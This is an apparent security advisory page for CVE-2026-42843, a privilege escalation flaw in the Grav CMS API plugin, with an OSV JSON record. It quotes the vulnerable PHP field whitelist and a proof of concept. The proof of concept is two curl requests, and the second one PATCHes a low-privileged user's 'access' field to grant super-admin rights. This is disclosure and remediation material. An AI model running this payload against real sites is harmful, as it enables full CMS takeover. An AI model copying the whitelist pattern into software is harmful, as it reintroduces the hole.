CVE-2026-42843: Getgrav/grav plugin api Grav API Privilege Escalation To Vulnerability

HIGH
Advisory Identifier: GHSA-r945-h4vm-h736
CVSS 8.8
CWE-863
Published
Advisory Summary

CVE-2026-42843 is a HIGH (CVSS 8.8) grav api privilege escalation to vulnerability (CWE-863: Incorrect Authorization) affecting Getgrav/grav plugin api libraries in the Packagist ecosystem. The issue involves grav api privilege escalation to super admin. Remediation is available by upgrading affected packages to version 1.0.0-beta.15.

CVE-2026-42843 at a Glance

CVE Identifier CVE-2026-42843
GHSA Identifier GHSA-r945-h4vm-h736
Severity HIGH
CVSS v3.1 Base Score 8.8
CWE Classification CWE-863: Incorrect Authorization
Affected Product Getgrav/grav plugin api
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 8.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-42843

To remediate this vulnerability, upgrade all affected Getgrav/grav plugin api dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

getgrav/grav-plugin-api fixed: 1.0.0-beta.15
Upgrade getgrav/grav-plugin-api to 1.0.0-beta.15
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for getgrav/grav-plugin-api

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-42843, inspect your project dependencies for Getgrav/grav plugin api:

inspect dependencies for getgrav/grav-plugin-api

Analyze the terminal output to locate any version of Getgrav/grav plugin api in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.0.0-beta.15), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-863: Incorrect Authorization, where the product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check. In Getgrav/grav plugin api, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary An insecure direct object reference and logic flaw in the Grav API plugin (`UsersController::update`) allows any authenticated user with basic API access (`api.access`) to modify their own permission configuration. An attacker can exploit this to escalate their privileges to Super Administrator (`admin.super` and `api.super`), leading to full system compromise and potential RCE. ### Details The vulnerability is located in `user/plugins/api/classes/Api/Controllers/UsersController.php` within the `update` method. The API allows users to update their own profiles if they possess the basic `api.access` permission: ```php // UsersController.php -> update() $isSelf = $currentUser->username === $username; if (!$isSelf) { $this->requirePermission($request, 'api.users.write'); } else { // Self-edit only requires api.access $this->requirePermission($request, 'api.access'); } ``` However, when filtering the fields that are allowed to be updated via a `PATCH` request, the `access` field (which defines the user's role and permissions) is indiscriminately included in the `$allowedFields` whitelist for all users: ```php // Partial update - only update provided fields $allowedFields = ['email', 'fullname', 'title', 'state', 'language', 'content_editor', 'access', 'twofa_enabled']; foreach ($allowedFields as $field) { if (array_key_exists($field, $body)) { $user->set($field, $body[$field]); } } ``` Because there is no secondary check to verify if the user attempting to modify the `access` field is already an administrator, any low-privileged user can overwrite their own `access` object with a malicious payload granting themselves `super: true`. ### PoC 1. **Prerequisites**: You need a low-privileged user account (eg. `user1`) that possesses the basic `api.access` permission. 2. **Obtain JWT**: Authenticate to the API to obtain your `access_token`: ```bash curl -X POST http://<target>/api/v1/auth/token \ -H "Content-Type: application/json" \ -d '{"username":"user1","password":"your_password"}' ``` 3. **Exploit**: Send a `PATCH` request to the user update endpoint. ```bash curl -X PATCH http://<target>/api/v1/users/user1 \ -H "X-API-Token: <your_access_token>" \ -H "Content-Type: application/json" \ -d "{\"access\":{\"admin\":{\"login\":true,\"super\":true},\"api\":{\"access\":true,\"super\":true},\"site\":{\"login\":true}}}" ``` 4. **Verification**: Log in to the Grav Admin panel using the user credentials. You will now have full Super Administrator privileges. ### Impact This is a vertical Privilege Escalation vulnerability. Any user with baseline API access can elevate themselves to Super Admin. Once Super Admin privileges are obtained, the attacker takes complete control over the CMS. They can modify content, alter configurations, upload malicious plugins, or edit Twig templates outside of the sandbox to achieve RCE on the server.

CVE-2026-42843 Affected Getgrav/grav plugin api Versions

1 component(s)
Fixed Versions:
1.0.0-beta.15
Product / Package Ecosystem Affected Versions Fixed Version
getgrav/grav-plugin-api
Packagist
< 1.0.0-beta.15
1.0.0-beta.15

References

Frequently Asked Questions

What is CVE-2026-42843?
CVE-2026-42843 is a security vulnerability in Getgrav/grav plugin api involving Grav API Privilege Escalation to Super Admin under CWE-863: Incorrect Authorization.
Which Getgrav/grav plugin api versions are affected?
Affected versions include releases prior to 1.0.0-beta.15 across affected packages: getgrav/grav-plugin-api.
What version fixes CVE-2026-42843?
Upgrading to 1.0.0-beta.15 (or the latest patched release for your respective branch) resolves the vulnerability.
Is getgrav/grav-plugin-api affected?
Yes, getgrav/grav-plugin-api is affected in releases prior to 1.0.0-beta.15. Upgrade your dependency to 1.0.0-beta.15 or later.
What is the CVSS score of CVE-2026-42843?
CVE-2026-42843 has a CVSS v3.1 base score of 8.8 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-42843?
CVE-2026-42843 is classified under CWE-863: Incorrect Authorization (The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.).
How can I check Packagist dependencies for CVE-2026-42843?
Run the dependency tree command: 'inspect dependencies for getgrav/grav-plugin-api'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-r945-h4vm-h736",
  "modified" : "2026-05-13T14:04:22Z",
  "published" : "2026-05-05T21:20:03Z",
  "aliases" : [ "CVE-2026-42843" ],
  "summary" : "Grav API Privilege Escalation to Super Admin",
  "details" : "### Summary\n\nAn insecure direct object reference and logic flaw in the Grav API plugin (`UsersController::update`) allows any authenticated user with basic API access (`api.access`) to modify their own permission configuration. An attacker can exploit this to escalate their privileges to Super Administrator (`admin.super` and `api.super`), leading to full system compromise and potential RCE.\n\n### Details\n\nThe vulnerability is located in `user/plugins/api/classes/Api/Controllers/UsersController.php` within the `update` method.\n\nThe API allows users to update their own profiles if they possess the basic `api.access` permission:\n\n```php\n// UsersController.php -> update()\n$isSelf = $currentUser->username === $username;\nif (!$isSelf) {\n    $this->requirePermission($request, 'api.users.write');\n} else {\n    // Self-edit only requires api.access\n    $this->requirePermission($request, 'api.access');\n}\n```\n\nHowever, when filtering the fields that are allowed to be updated via a `PATCH` request, the `access` field (which defines the user's role and permissions) is indiscriminately included in the `$allowedFields` whitelist for all users:\n\n```php\n// Partial update - only update provided fields\n$allowedFields = ['email', 'fullname', 'title', 'state', 'language', 'content_editor', 'access', 'twofa_enabled'];\nforeach ($allowedFields as $field) {\n    if (array_key_exists($field, $body)) {\n        $user->set($field, $body[$field]);\n    }\n}\n```\n\nBecause there is no secondary check to verify if the user attempting to modify the `access` field is already an administrator, any low-privileged user can overwrite their own `access` object with a malicious payload granting themselves `super: true`.\n\n### PoC\n\n1. **Prerequisites**: You need a low-privileged user account (eg. `user1`) that possesses the basic `api.access` permission.\n\n2. **Obtain JWT**: Authenticate to the API to obtain your `access_token`:\n\n   ```bash\n   curl -X POST http://<target>/api/v1/auth/token \\\n     -H \"Content-Type: application/json\" \\\n     -d '{\"username\":\"user1\",\"password\":\"your_password\"}'\n   ```\n\n3. **Exploit**: Send a `PATCH` request to the user update endpoint. \n\n   ```bash\n   curl -X PATCH http://<target>/api/v1/users/user1 \\\n     -H \"X-API-Token: <your_access_token>\" \\\n     -H \"Content-Type: application/json\" \\\n     -d \"{\\\"access\\\":{\\\"admin\\\":{\\\"login\\\":true,\\\"super\\\":true},\\\"api\\\":{\\\"access\\\":true,\\\"super\\\":true},\\\"site\\\":{\\\"login\\\":true}}}\"\n   ```\n\n4. **Verification**: Log in to the Grav Admin panel using the user credentials. You will now have full Super Administrator privileges.\n\n### Impact\n\nThis is a vertical Privilege Escalation vulnerability. Any user with baseline API access can elevate themselves to Super Admin. Once Super Admin privileges are obtained, the attacker takes complete control over the CMS. They can modify content, alter configurations, upload malicious plugins, or edit Twig templates outside of the sandbox to achieve RCE on the server.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "getgrav/grav-plugin-api"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.0.0-beta.15"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/getgrav/grav/security/advisories/GHSA-r945-h4vm-h736"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-42843"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/getgrav/grav-plugin-api/commit/26f529c7d438c73343e82311fb095caeaf1a6116"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/getgrav/grav"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-863" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-05T21:20:03Z",
    "nvd_published_at" : "2026-05-11T17:16:34Z"
  }
}